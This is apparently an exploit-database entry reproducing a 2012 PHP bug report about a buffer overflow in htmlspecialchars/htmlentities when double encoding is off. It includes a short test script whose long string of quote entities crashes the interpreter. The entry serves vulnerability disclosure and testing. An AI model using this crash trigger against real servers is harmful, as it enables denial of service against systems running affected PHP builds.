PHP 5.4SVN-2012-02-03 - htmlspecialchars/entities Buffer Overflow
Author: cataphract
type: dos
platform: php
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date_added: 2012-02-03
date_updated: 2012-02-03
verified: 1
codes: OSVDB-81484
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From: cataphract
Operating system: Any
PHP version: 5.4SVN-2012-02-03 (SVN)
Package: Reproducible crash
Bug Type: Bug
Bug description:Buffer overflow on htmlspecialchars/entities with $double=false
Description:
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Long entities can cause a buffer overflow because the loop only guarantees
40 bytes available in beginning.
Test script:
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<?php
echo
htmlspecialchars('"""""""""""""""""""""""""""""""""""""""""""""',
ENT_QUOTES, 'UTF-8', false), "\n";